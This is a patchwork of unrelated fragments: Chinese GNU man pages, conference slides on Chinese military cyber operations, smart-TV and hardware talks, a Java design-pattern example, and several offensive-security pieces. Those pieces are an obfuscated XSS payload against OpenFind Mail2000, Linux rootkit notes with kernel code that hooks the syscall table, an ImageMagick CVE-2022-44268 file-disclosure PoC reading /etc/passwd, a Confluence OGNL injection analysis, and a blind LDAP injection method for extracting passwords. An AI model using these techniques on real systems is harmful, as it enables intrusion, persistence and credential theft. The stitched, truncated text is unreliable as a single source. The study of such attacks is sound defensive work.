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Time Line and Nodal Analysis of PLA IW Development Ming Zhou iDefense Security Intelligence Services 19 February , 2009 2 Agenda + What Have Western Seen? + iDefense Research Methodology + PLA IW Timeline + Deduction and Facts + My One Step Leap Time Line 3 What Western Have Seen + Titan Rain + Western governments accusation + Sandia National Laboratories + Congress Offices + DoD Contractors + Pentagon + Navy + NASA + Indian Government 4 By Default + PLA! + PLA? + PLA {x,y,z} + State Sponsor! + State Sponsor? + State Sponsor {a,b,c} + Gaps... 5 Can He Fit the Profile? 6 Questions before starting + Under order? + Just for Fun? + A Soldier with uniform + A Soldier without uniform + Several Soldiers with uniform + Several Soldiers without uniform + PATRIOTISM , PROPAGANDA ACQUIESCENCE 7 Asymmetric war -Card game 8 River Rock to New York City 9 Spot of Cheetah 10 Methodology + Micro to Macro, Macro to Micro, + Methodology {Identify, Verify, Validate, Organize} + Consistency + Continuity + Tangible Entities + Undeniable published news + Cross references +AND 11 Rules + Time + Location + Unit Code + Leaders Name + Order Number + Designated Function + Machine Learning { x, y, z} +OR 12 Hierarchy 13 Sub Sets + CMC  General Staff Department (GSD)  General Political (GPD) Department  General Logistics Department (GLD)  General Armament Department (GAD) + The GSD is responsible for organizing, leading, and commanding military actions. It is made up of departments for war operations, information, communication, military training, army affairs, mobilization, armament, security, mapping and surveying, foreign affairs, as well as the affairs of the various armed services and arms. 14 PLA Force Structure + 7 regions (NE, NW, Beijing, E, Nanjing, SE, SW) + Air force + Navy + 2nd Artillery + Ground Force  Active 500,000  Armed Police Force 1,500,000  Militia 1,000,000 15 Recursively Break down + Chinese Peoples Armed Police Forces (APF) and the Militia.  The Militia is a force engage


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LionBug @ HITCON-CMT About Me  a.k.aLionBug  Co-founder of UCCU  Know a little  Web Security LinkedIn http://thehackernews.com/2016/05/linkedin-account- hack.html LinkedIn 17 wooyun /show.php?id=xxxxx A B C D Admin ASUS Cloud (0day?) /webrelay/directdownload/xxxxxxxx/? dis=xxxx&ﬁ=2040452 ASUS Cloud (0day?) XSS Hacker Friendly EC-Council EC-Council ????????? Google SQL injection drop table    (IP)   (Shellshockstruts2)  APT     HP NAS proxy Tor WIFI WIFI 80 110 143 443 808 8080  phpmyadminfckeditor   SQL injection  Wordpress  CMS SQL injection session VM webshell  phpmyadminfckeditor  ( )  SQL injection ( ...)  () ?????????? au4a83 pass      192.168.0.0 172.168.0.0  db.xx.xx.xx192  MD5 sha256      WAF () 0day WAF Web Hacking Orange http://hitcon.org/2015/CMT/download/day1-c-r0.pdf WAF WAF db OpenFind Mail2000 Cookie Cookie OpenFind Mail2000 Xss (1) IECSSJS 0dayFix OpenFind Mail2000 Xss (2) XSS 0dayFix OpenFind Mail2000 Xss (3)  onclick xonclick  script scrips  html ?? OpenFind Mail2000 <html></html><<html></html>s<html></ html>c<html></html>r<html></html>i<html></ html>p<html></html>t<html></ html>><html></html>a<html></html>l<html></ html>e<html></html>r<html></html>t<html></ html>(<html></html>'<html></html>x<html></ html>s<html></html>s<html></html>'<html></ html>)<html></html>;<html></html><<html></ html>/<html></html>s<html></html>c<html></ html>r<html></html>i<html></html>p<html></ html>t<html></html>> XSS Payload OpenFind Mail2000 XSS 4.56.0 ... 0day ... https://vulreport.net/vulnerability/detail/29 OpenFind Mail2000 Xss (4) script https://zeroday.hitcon.org/vulnerability/ ZD-2016-00062 XSS Xss every where OpenFind Mail2000 modify_id ?? admin https://zeroday.hitcon.org/vulnerability/ ZD-2016-00031 () code review 87     GBK GB2312 GB18030  .php .jsp .asp   webshell Webshell AWS httpsaws 4 5 robots () Watch Dogs .NET   WIFI()  0day  ePage (IonCube v9 )  RulingDigital  ePage http://xxx.xxx.xxx/admin Q & A


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.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH NICE 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 nice \- 改变执行程序的调度优先级 .SH 概述 \fBnice\fP [\fI\,选项\/\fP] [\fI\,命令 \/\fP[\fI\,参数\/\fP]...] .SH 描述 .\" Add any additional description here .PP 以调整过的优先级运行命令以影响进程调度如果未给出命令则显示当前的优先级优先级的值的范围从\fB\-20\fP最高级到19最低级 .PP 必选参数对长短选项同时适用 .TP \fB\-n\fP, \fB\-\-adjustment\fP=\fI\,N\/\fP 给优先级加上整数N默认为10 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 注意您的 shell 可能内置了自己的 nice 程序版本它会覆盖这里所提及的相应版本请查阅您的 shell 文档获知它所支持的选项 .SH 作者 由 David MacKenzie 编写 .SH 报告错误 GNU coreutils 的在线帮助 <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件您可以自由修改和重新发布它在法律允许的范围内不提供任何保证 .SH 参见 \fBnice\fP(2), \fBrenice\fP(1) .PP .br 完整文档请见 <https://www.gnu.org/software/coreutils/nice> .br 或者在本地使用 info \(aq(coreutils) nice invocation\(aq


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假期看了下linux rootkit的资料想实现个来着整理了些参考资料和代码我的想法是rootkit主要作为 后渗透维权的种式能主要于隐蔽以及能够便触发想实现的功能也很简单就是类似发送个特定 的tcp/udp/icmp包就能触发后反弹个shell或者返回段加密的内容 些历史 1. 先是 LD_PRELOAD 户态使劫持动态链接库的段可以便hook些函数以达到隐藏的的 2. Kernel Module 即编译linux内核修改的代码达到的但编译内核不太现实linux提供了个插 件化的式通过编译个 .ko 件动态加载定义的内核功能在内核态就是操作系统的神什么事 情都会经过你我也主要是学习的这种式 3. 通过操作 /dev/mem 内核内存的式注代码 4. 16年blackhat上的议题通过在系统启动时插个命名空间(类似docker的隔离环境) 1. https://www.blackhat.com/docs/us-16/materials/us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux- Rootkit.pdf Hook rootkit就是对操作系统内核的函数进hook从在些关键函数上执的命令 分为两种hook种是对系统调(syscall)进hook种是对内核的些导出函数进hook 系统调表:https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl 系统调参 考https://syscalls64.paolostivanin.com/ hook内核导出函数实际上就是通过 kallsyms_lookup_name 获取导出函数地址把它换成我们定义的 对系统调syscall的hook实际上就是获取 sys_call_table 的导出函数对这个表的地址hook 在linux内核版本 5.7.0 以上取消了 kallsyms_lookup_name 的导出但还可以使 KPROBE 定位到函数地址 // for linux kernal hook when version >= 5.7.0 #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) #define KPROBE_LOOKUP 1 #include <linux/kprobes.h> static struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" }; #endif unsigned long * get_syscall_table_bf(void) { unsigned long *syscall_table; #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0) #ifdef KPROBE_LOOKUP typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; 在看canvas的linux rootkit时它是硬件断点在syscall table下断点当执到的时候再修改地址 贴下代码参考 unregister_kprobe(&kp); #endif syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table"); return syscall_table; #else unsigned long int i; for (i = (unsigned long int)sys_close; i < ULONG_MAX; i += sizeof(void *)) { syscall_table = (unsigned long *)i; if (syscall_table[__NR_close] == (unsigned long)sys_close) return syscall_table; } return NULL; #endif } /* A simple DR based Linux kernel hooking engine Miami Beach 08/12/2008 */ #include <linux/module.h> #include <linux/kern


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.TH AC 1 "1995 October 31" .SH NAME ac \ - 输出用户连接时间 .SH 总览 .hy 0 .na .TP .B ac [ .B \-d | .B \-\-daily-totals ] [ .B \-y | .B \-\-print-year ] .br [ .B \-p | .B \-\-individual-totals ] [ .I people ] .br [ .B \-f | .B \-\-file .I filename ] [ .B \-a | .B \-\-all-days ] .br [ .B \-\-complain ] [ .B \-\-reboots ] [ .B \-\-supplants ] .br [ .B \-\-timewarps ] [ .B \-\-compatibility ] .br [ .B \-\-tw-leniency .I num ] [ .B \-\-tw-suspicious .I num ] .br [ .B \-z | .B \-\-print-zeros ] [ .B \-\-debug ] .br [ .B \-V | .B \-\-version ] [ .B \-h | .B \-\-help ] .ad b .hy 1 .SH 描述 基于当前的 /var/log/wtmp 文件中的登录和退出时间输出一个 关于连接时间(以小时为单位)的报告并且还输出一个总计时间 审计文件 /var/log/wtmp 由 init(8) 和 login(1) 维护ac 和 login 均不生成 /var/log/wtmp 文件如果审计文件不存在则不 做审计工作如果要开始审计应生成一个长度为零的审计文件 注意文件 /var/log/wtmp 可能很快就变得非常大你可能隔一段 时间就要裁减一下这个文件 GNU ac 工作起来与 u*x ac 基本一样但也在几个方面有小的改进 你可能希望看到 GNU ac 和其他系统上的 ac 在输出上的不同想得 到额外的信息请使用命令 info accounting .fi .SH 选项 .TP .B \-d, \-\-daily-totals 为每天输出输出一个总计时间而不是在结尾输出一大的总计输出 可能象下面这样 Jul 3 total 1.17 Jul 4 total 2.10 Jul 5 total 8.23 Jul 6 total 2.10 Jul 7 total 0.30 .TP .B \-p, \-\-individual-totals 为每个用户输出总计时间并在最后追加一个所有用户的总计时间的 累计值输出可能象下面这样 bob 8.06 goff 0.60 maley 7.37 root 0.12 total 16.15 .TP .I [用户列表] 输出的是在用户列表中包括的所有用户的连接时间的总计和值 用户列表由空格分隔其中不允许有通配符 .TP .BI "\-f, \-\-file " filename 从指定文件而不是系统的 /var/log/wtmp 文件中读取记帐信息 .TP .B \-\-complain .nf 当 /var/log/wtmp 存在着问题(时间扭曲丢失记录 或其他任何问题)输出一个适当的错误信息 .fi .TP .B \-\-reboots .nf 重新引导(reboot)记录不是在系统重新引导时写的而是 在系统重新启动(restart)时写的所以不可能知道重新引导 的精确的发生时间用户在系统重新引导时可能已经在系统 上登录了许多 ac 依据用户(的要求)自动的统计在登录与重 新引导记录之间的时间(尽管所有的这些时间不应是问题但 系统关机很长的时间时可能就是了)如果你打算统计这个时 间就应包括此选项 *要求对 vanilla ac 的兼容性就要包含此选项* .fi .TP .B \-\-supplants .nf 有时注销记录没有写出明确的终端因而 最近的用户的自然增长的时间就不能被计算如果你打算 包括在一个终端上的从用户登录到下一次登录的时间(尽管 可能是不正确的)就应包括此选项 *要求对 vanilla ac 的兼容性就要包含此选项* .fi .TP .B \-\-timewarps .nf 一些时候在 @WTMP_FILE_LOC 文件中的记录可能突然跳回 到了以前的时间而却没有时钟更改记录出现在这种情况 发生时不可能知道用户登录了多长时间如果你打算依据 用户(的要求)统计从登录到时间扭曲之间的时间就应包括 此选项 *要求对 vanilla ac 的兼容性就要包含此选项* .fi .TP .B \-\-compatibility 这是上面三种选项的速写就不用敲三


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.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH TIMEOUT 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 timeout \- 在规定时限内运行一个命令 .SH 概述 \fBtimeout\fP [\fI\,选项列表\/\fP] \fI\,持续时间 命令 \/\fP[\fI\,参数列表\/\fP]... .br \fBtimeout\fP [\fI\,选项列表\/\fP] .SH 描述 .\" Add any additional description here .PP 运行所给命令如果它超过指定时间后仍在运行则杀死其进程 .PP 必选参数对长短选项同时适用 .HP \fB\-\-preserve\-status\fP .IP 将退出状态值设为与所运行指令的退出状态相同的值即使 .IP 指令运行超时 .HP \fB\-\-foreground\fP .IP 当不是直接在 shell 命令提示符下运行 timeout 的情况下使用 .IP 允许所运行命令直接由 TTY 读取数据并且接收 TTY 的信号在这种模式下所运行命令的子进程将不会被 timeout 的超时控制所考虑 .HP \fB\-k\fP, \fB\-\-kill\-after\fP=\fI\,持续时间\/\fP .IP 如果初始信号已发出且再次等待了指定时间之后 .IP 所运行命令仍在运行则发出 KILL 信号 .HP \fB\-s\fP, \fB\-\-signal\fP=\fI\,信号\/\fP .IP 指定超时发生时应当送出的信号 .IP 信号可以是类似HUP的信号名或是信号数从kill \fB\-l\fP的输出可获得信号的列表 .TP \fB\-v\fP, \fB\-\-verbose\fP 对任何超时后发送的信号向标准错误输出诊断信息 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 持续时间应当是一个浮点数后缀是可选的\&s表示秒默认值m表示分钟h表示小时或者使用d表示天数若持续时间为 0将禁用所关联的超时配置 .PP 超时以后如果没有指定其他信号则向给定命令发送 TERM 信号TERM 信号将杀死没有阻塞或捕获该信号的进程有时可能需要使用 KILL 信号因为此信号无法被捕获 .SS 退出状态 .TP 124 如果指定命令超时且未指定 \fB\-\-preserve\-status\fP 选项 .TP 125 如果 timeout 命令本身执行失败 .TP 126 如果找到了命令但无法执行 .TP 127 如果未找到命令 .TP 137 如果命令或 timeout 命令本身收到了 KILL (9) 信号即 128+9 .TP \- 其他情况下退出状态是命令的退出状态 .SH 缺陷 某些平台目前不支持将超时时间设置为超过 2038 年 .SH 作者 由 Padraig Brady 编写 .SH 报告错误 GNU coreutils 的在线帮助 <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 \fBkill\fP(1) .PP .br 完整文档请见 <https://www.gnu.org/software/coreutils/ti


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Joe Grand aka The Projects of... DEFCON 17 Zoz aka  Engineering entertainment program on Discovery Channel  Four guys building prototypes of crazy things  Try to follow the "true" design process  Premiered October 2008 (US), ~February 2009 (World)  Thirteen episodes  ~1 million households/episode  www.discovery.com/prototypethis Prototype This! electrical engineer. hardware hacker. daddy. Joe Grand robotics. software programming. mad scientist. mit. Zoz Brooks materials scientist. mechanical engineer. ucsb. Mike North special effects. machinist. fabricator. Terry Sandin joe andreas. kevin binkert. steve lassovsky. ﬂaming lotus girls. nemo gould. diana coopersmith. many, many more. Friends We built stuff like this... We built stuff like this... We built stuff like this... With not a lot of this... (Contrary to popular belief...) Challenges  TV is nothing like how it really happens in real life  Don't believe the hype  Most producers/editors/execs were not technical and didn't care to be  Were only interested in the ﬁnal result  Did not understand the complexity of the tasks  Assumed everything was easy  Wanted unrealistic projects that had never been done before built in two weeks or less  Ex.: X-ray glasses, personal force ﬁeld  How to make engineering sexy? Trafﬁc Busting Truck  Omnidirectional Wheels  Autonomous Parking  Drive/Park Over Trafﬁc  ~4 weeks Trafﬁc Busting Truck  BASIC Stamp 2p40  RF Keyfob  Wireless PS2 Controller for manual couch/truck control  Solenoid/Hydraulic Valve control via MOSFET  DS1867 Digital Potentiometers for Joystick Emulation for omnidirectional wheel control  Serial port I/F to communicate w/ Zoz's autonomous control S/W Trafﬁc Busting Truck  IR, US: single range  Stereo: 640x480 RGBD map  IR: detect suitable gaps between parked cars  Stereo: parallel alignment of vehicle at parking distance  Ultrasonic: curb detection for park slide completion Trafﬁc Busting Truck Sensors Parallax PING))) ultrasonic rangeﬁnder Sharp GP2 infrared rang


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DefCON 27, Pedro Cabrera SDR Against Smart TVs; URL and channel injection attacks DefCON 27, Pedro Cabrera @PCabreraCamara DefCON 27, Pedro Cabrera Industrial engineer, UAV professional pilot, Radio Ham (EA4HCF) Ethon Shield, Founder 2018 RSA: Parrot Drones Hijacking 2017 BH Asia Trainings (+ Simon Roses): Attacking 2G/3G mobile networks, smartphones and apps RogueBTS, IMSICatchers, FakeStations: www.fakebts.com @PCabreraCamara About Me DefCON 27, Pedro Cabrera This.Presentation: I. HbbTV 101. Digital TV introduction II. Hacking TV & HbbTV. III. HbbTV RX stations. IV. Targeting the Smart TV browser. V. Conclusions DefCON 27, Pedro Cabrera [I] Hybrid Broadcast Broadband Televison HbbTV (2009) H4TV project HTML profit project Hybrid television because it merges digital television content and web content. The HbbTV specification extends DVB-T by introducing additional metadata formats that mix broadband Internet content into the digital television channel. SPA ENG DefCON 27, Pedro Cabrera [I] TV Distribution Network Generic TV Network DefCON 27, Pedro Cabrera [I] DVB-T DVB-T characteristics (Spain):  8 MHz bandwidth  Transmission mode: 8k (6,817 carriers).  Modulation schemes: 64 Quadrature Amplitude Modulation (OFDM)  Code Rate for internal error protection: 2/3.  Length of guard interval: 1/4. DefCON 27, Pedro Cabrera [I] DVB-T DVB-T characteristics (Spain):  8 MHz bandwidth  Transmission mode: 8k (6,817 carriers).  Modulation schemes: 64 Quadrature Amplitude Modulation (OFDM)  Code Rate for internal error protection: 2/3.  Length of guard interval: 1/4. DefCON 27, Pedro Cabrera [I] Generic DVB-T receiver Radio Frequency MPEG-2 Multiplex DeModulator DeMultiplexer Video Decoder Audio Decoder Metadata Decoder DVB-T Tuner RTL-SDR: Rafael 820T2 RTL-SDR: Realtek RTL2832u DefCON 27, Pedro Cabrera [I] DVB-T demodulator MPEG-2 MUX Radio Frequency RadioFreq Receiver ADC Synchronizer Fast Fourier Transformer Channel Estimator & Channel Equalizer Inner Deinterleaver Viterbi Dec


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# ImageMagick Arbitrary File Disclosure (CVE-2022-44268) [中文版本(Chinese version)](README.zh-cn.md) ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images. In the version prior to 7.1.0-51 on ImageMagick, there is a information disclosure vulnerability that is able to be used to read arbitrary file when modifing a PNG file. References: - <https://www.metabaseq.com/imagemagick-zero-days/> - <https://github.com/ImageMagick/Website/blob/main/ChangeLog.md#710-52---2022-11-06> ## Vulnerable Environment Execute folloiwing command to start a Web server that uses the ImageMagick to convert an old image to a 50x50 size new image: ``` docker compose up -d ``` After the server is started, visit `http://your-ip:8080` you will see an upload file button: ![](1.png) The [backend service](index.php) is as simple as the following lines of code: ```php $newname = uniqid() . '.png'; shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}"); ``` ## Exploit To exploit this issue, you have to prepare a craft PNG file that contains a chunk data with the file path that you want to disclose. Use [poc.py](poc.py) to generate it: ``` ./poc.py generate -o poc.png -r /etc/passwd ``` > Install [PyPNG](https://pypng.readthedocs.io/en/latest/) to execute poc.py properly: `pip install pypng` There is a type of `tEXt` chunk that contains our payload `profile=/etc/passwd` if you use [010editor](https://en.wikipedia.org/wiki/010_Editor) to review this file: ![](2.png) Then, upload this file to target server: ![](3.png) Download the output artifact as out.png, use poc.py to extract all the chunks from it: ``` ./poc.py parse -i out.png ``` ![](4.png) As you can see, `/etc/passwd` is read and the result have been written to output file by ImageMagick.


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State of the Hack: Maltego Use Cases Over the past several years, data has quickly gone from being sparsely collected to hoarded in mounds, locked away in datacenters and spread across the world. Is there really a need to store so much information? That question has yet to be answered, but with advances in modern technology, it is relatively cheap to store every byte just in case it is needed later. Like other industries that collect data, the information security and threat intelligence industries are no exception. The issue with large stores of data comes in making sense of it all. How does one sift through terabytes of domains, IP addresses, malware strings, assembly code and netflows to find the one indicator driving the next attack? In this week's State of the Hack article, iDefense will cover a process best described as visual data analytics, which is a way to visualize data during analysis to find what data is most critical. Problem Highlight Security analysts often observe attacks as they are happening or shortly after they have occurred. It is up to analysts to identify the who and why of an attack based on the indicators collected. These indicators not only range in type but also in confidence level, as analysts collect and store some indicators based on tangential relationships. To provide the best possible intelligence, data collected from each malicious file, attack, public database and threat feed is stored in a single database that makes connections between the data. At present, databases holding indicator information hold upward of billions of records. When analysts quickly assemble all of the information about an attack and its related infrastructure, it becomes difficult to find the most meaningful data when querying data collections this large. Assume for a moment that a query is fast and an analyst is able to obtain the results he or she requested. Even in some cases, results come back with thousands of related indicators that may or may not be r


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Atlassian Confluence简称Confluence是个专业的wiki程序它是个知识管理的具通过它 可以实现团队成员之间的协作和知识共享本次漏洞为 Ognl 表达式注攻击者可未授权通过 Ognl 表达式在服务器上执任意代码 影响版本 version < 6.13.23 6.14.0  version < 7.4.11 7.5.0  version < 7.11.5 7.12.0  version < 7.12.5 环境搭建 执下载的 bin 件后选择动安装并指定安装路径和服务运端口安装完成后执 /atlassian/jira/atlassian-jira-8132/jira/bin/start-jira.sh 件即可启动服务在 /atlassian/confluence7123/confluence/bin/catalina.sh 件开头添加如下语句即可开启 Debug 模式 这选择 mysql 数据库安装的时候需要先先创建数据库并设置 tx_isolation='READ- COMMITTED' 下载 mysql-connector-java-5.1.48.jar 并放置 /atlassian/confluence7123/confluence/confluence/WEB-INF/lib/ 录下 补丁选择 CATALINA_OPTS="- agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9999" mysql> create database fluence7123 CHARACTER SET utf8 COLLATE utf8_bin; mysql> SET GLOBAL tx_isolation='READ-COMMITTED'; 先来看下 官漏洞描述 这注意到官说了本次漏洞为 Ognl 表达式注CVE 编号为 CVE-2021- 26084 7.12.x 的修复版本为 7.12.5  那么在翻看通告下评论的时候发现这个漏洞之前在 7.12.4 版本就修复过次CVE 编号为 CVE- 2021-26077 个猜测之前的修复代码可能存在绕过这为了避免修复代码的扰选择 7.12.3 完全没修复和 7.12.5 完全修这两个版本进代码差异对 补丁分析 继续翻看信息会发现官还出了 离线补丁 内容致如下看了下概补丁基本上是字符串匹配 替换修改的都是 .vm 后缀的件 在安装好 7.12.37.12.5 两个版本后先 find 命令找到 .vm 件所在的录 然后使 diff 命令对录下的所有件可以看到修复式基本上就是把 $ 符号给去掉 .vm 后缀的件般是 velocity 模板件$action 则是 velocity 上下中的个变量般在进 模板渲染前会设置到 context 这的 $action 则是当前访问路由对应的具体 Action 类 $action.backupPath 则表取 Action 类的 backupPath 属性值 寻找路由 这我们选择第处模板 /admin/editdailybackupsettings.vm 来分析先我们得先找到这个模 板对应的 action 通过路径名我们可以猜测该功能是管理员才有的类似编辑备份设置的功能这 也确实在后台找到了这功能但是这功能默认不开启按照 官档 开启即可 点击编辑并抓包数据包致如下 我们使 grep -Rni editdailybackupsettings 命令全局搜索看下这个路由是否配置在某个件 不过在执该命令之前我们需要先将所有的 jar 件解压因为有些时候些配置件会放置 在 jar 包grep 命令是法精确搜索 jar 的字符串很快我们便发现 confluence- 7.12.3.jar!/xwork.xml 件配置了不同请求对应的具体模板直接在件中搜 /admin/editdailybackupsettings.vm 命中的有3条 按照配置件我们可以清晰的看到路由与模板的关系假设我们访问 /admin/editdailybackupsettings.action 那么程序将会调 com.atlassian.confluence.admin.actions.DailyBackupAdminAction#doDefault() 法如果 该法执完返回 success 那么就由 /admin/editdailybackupsettings.vm 模板渲染结果所 以 $action.backupPath 对应的就是 DailyBackupAdminAction#backupPath 属性 那我们怎么给 backupPath 属性赋值呢我们去看 DailyBackupAdminAction


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1 记次src测试中的ldap注的深利 ldap注点判断 ldap的注简单利 获取ldap中的密码 修复法 在最近的次的src测试中遇到了个ldap注漏洞,标是个管理平台,漏洞点存在于户名判断处.在 测试时遇到的 ldap注是指ldap过滤器语句(filter)的注 ldap过滤器的基本语法如下 例如个简单的查询语句如下 搜索cn值属性为admin的条 成功会返回完整条属性 实际使时可能会较复杂 如说同时搜索匹配户输的户名/邮箱/机号 ldap注点判断 PHP 复制代码 = >= <= | 或 & 与 !  * 通配符 (语句) 1 2 3 4 5 6 7 8 PHP 复制代码 (cn=admin) 1 2 ldap条常的属性值 在判断注点的时候可以插半个括号 多余的未闭合的括号会使ldap查询出错 观察返回是否出现异常 即可判断注点 也可以直接输*(星号) 通配符观察返回是否为户存在但密码错误 或者是服务器错误(ldap查询可以同 时返回多条结果 如果查询结果不唯 后端未做好处理可能会报错) ldap注常于在判断户名是否存在的点 很少出现在户名密码同时判断的地 经过盲测发现标可能的登陆逻辑如下 PHP 复制代码 (|(cn=admin)(mail=admin)(mobile=admin)) 1 PHP 复制代码 cn (Common Name 通名称) 常被做户名 Surname 姓 mobile 机号 mail 邮箱 1 2 3 4 3 ldap通常构造通配符查询 控制返回的结果 实现布尔注从带出ldap中储存的数据 如ldap中存在个admin的户名 查询的注点为cn 那么可以使*匹配先猜测出户名 (cn=a*) 返回密码错误 (cn=b*) 返回户名不存在 只要判断为密码错误即为匹配成功 ldap的注简单利 PHP 复制代码 $ds=ldap_connect($ldapSrv,$port);//建ldap连接 if($ds) { $r=ldap_bind($ds, "cn=".$username.",".$dn, $passwd);/绑定ldap区域(相当于 登陆ldap服务器) 使域管户登陆 检索户列表 if($r) { $sr=ldap_search($ds, $dn, "(user=".$_GET["user"].")");//在ldap中使 过滤器搜索户名 $info = ldap_get_entries($ds, $sr); if($info["count"]==0){ die('户不存在'); } ldap_close($ds); $ds=ldap_connect($ldapSrv,$port);//建ldap连接 $bd = ldap_bind($conn, $_GET["user"], $passwd); // 绑定ldap区域(相 当于登陆ldap服务器) 以普通户登陆 判断是否登陆成功 if ($bd) { echo '登陆成功'; } else { echo '密码错误'; } ldap_close($ds); } else { echo "Unable to connect to LDAP server."; } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 4 构造语句猜测admin户的机号 (cn=admin)(mobile=13*) 到这已经可以跑出ldap中保存的些敏感信息(机号 邮箱 户名) 但是这造成的影响还是不太够 个注就只能拿到这么少的数据 作为于户鉴权场景的ldap当然是要拿到户的密码 登陆后台 查阅档 户的密码储存在 userPassword属性 尝试构造查询 (cn=admin)(userPassword=a*) 多次尝试发现都法匹配记录. 但是直接使*可以匹配成功 既然密码是个属性为什么使*号不能匹配部分字符串呢? 经过查阅ldap rfc4519档 发现userPassword属性类型不是常规的字符串,是(Octet String 字节序列) *通配符只能匹配字符串 那么怎么匹配字节序列呢 通过阅读ldapwiki发现过滤器除了可以使常规的运算符外,还有种特殊的匹配规则(MatchingRule) 其中有两个专匹配Octet String的规则 octetStringMatch octetStringOrderingMatch 第个规则在完全匹配时才会返回真,这显然不能利. 在 rfc4517 找到了octetStringOrderingMatch规则的详细介绍 获取ldap中的密码 PHP 复制代码 构造脚本递归匹配字符 (cn=a*) (cn=ad*) (cn=adm*) (cn=admi


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## 5. 生成器Builder ### Intent 封装一个对象的构造过程并允许按步骤构造 ### Class Diagram

 ### Implementation 以下是一个简易的 StringBuilder 实现参考了 JDK 1.8 源码 ```java public class AbstractStringBuilder { protected char[] value; protected int count; public AbstractStringBuilder(int capacity) { count = 0; value = new char[capacity]; } public AbstractStringBuilder append(char c) { ensureCapacityInternal(count + 1); value[count++] = c; return this; } private void ensureCapacityInternal(int minimumCapacity) { // overflow-conscious code if (minimumCapacity - value.length > 0) expandCapacity(minimumCapacity); } void expandCapacity(int minimumCapacity) { int newCapacity = value.length * 2 + 2; if (newCapacity - minimumCapacity < 0) newCapacity = minimumCapacity; if (newCapacity < 0) { if (minimumCapacity < 0) // overflow throw new OutOfMemoryError(); newCapacity = Integer.MAX_VALUE; } value = Arrays.copyOf(value, newCapacity); } } ``` ```java public class StringBuilder extends AbstractStringBuilder { public StringBuilder() { super(16); } @Override public String toString() { // Create a copy, don't share the array return new String(value, 0, count); } } ``` ```java public class Client { public static void main(String[] args) { StringBuilder sb = new StringBuilder(); final int count = 26; for (int i = 0; i < count; i++) { sb.append((char) ('a' + i)); } System.out.println(sb.toString()); } } ``` ```html abcdefghijklmnopqrstuvwxyz ``` ### JDK - [java.lang.StringBuilder](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuilder.html) - [java.nio.ByteBuffer](http://docs.oracle.com/javase/8/docs/api/java/nio/ByteBuffer.html#put-byte-) - [java.lang.StringBuffer](http://docs.oracle.com/javase/8/docs/api/java/lang/StringBuffer.html#append-boolean-) - [java.lang.Appendable](http://docs.oracle.com/javase/8/docs/api/java/lang/Appendable.html) - [Apache Camel builders](htt


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Pwn the Pwn Plug: Analyzing and Counter-Attacking Attacker-Implanted Devices Wesley McGrew Assistant Research Professor Mississippi State University Center for Computer Security Research McGrew Security wesley@mcgrewsecurity.com Introduction Wesley McGrew Breaking things, RE, forensics, etc. Finally ﬁnished dissertation - Ph.D. Assistant Research Professor Mississippi State University NSA CAE Cyber Operations McGrewSecurity.com @McGrewSecurity Attacker-Implantable Devices Attacker-Implantable Devices Malicious attackers/Penetration testers How can you respond to one found in your organization? Whatre the implications of vulnerabilities in attack software/ hardware? Response Identiﬁcation: Network/Physical Found one! Response  Seizure, imaging, forensication  What info/systems has it compromised?  Attribution  Challenge: Procedures for embedded devices  Counter-attack  Ofﬂine & modify vs. attack in place  Monitor the attacker - Attribution/Motive  Turn it into a honeypot Pwning Pentesters Implantable device: Send it in to to do an internal test from comforts of home Nerdy James Bond physical pentest payload Re-used from test to test, client to client (Not leaving it there, that things expensive!) Do you wipe it? (do you know how?) Pwning Pentesters Put on your black hat. Hacking a pentesters implantable device: In the ﬁeld On the bench All sorts of beneﬁts... Implications of Pwning Pentesters Intercept: Let them do the work for you Modify/Filter: Keep some of the results for yourself Camouﬂage: Make your own attacks appear part of the test Competitive Intel: Steal all the 0day Gift that Keeps Giving: Do it again and again as tester reuses device between clients Difficulties Securing Implanted Attack Devices  By deﬁnition, out of your physical control  Small/weird platforms  Update procedure  Underlying attack software - Software Engineering Practices  Did it work? Push a release, move on  Proof of Concept code  Huge attack surface Security geeks can be easy targets A


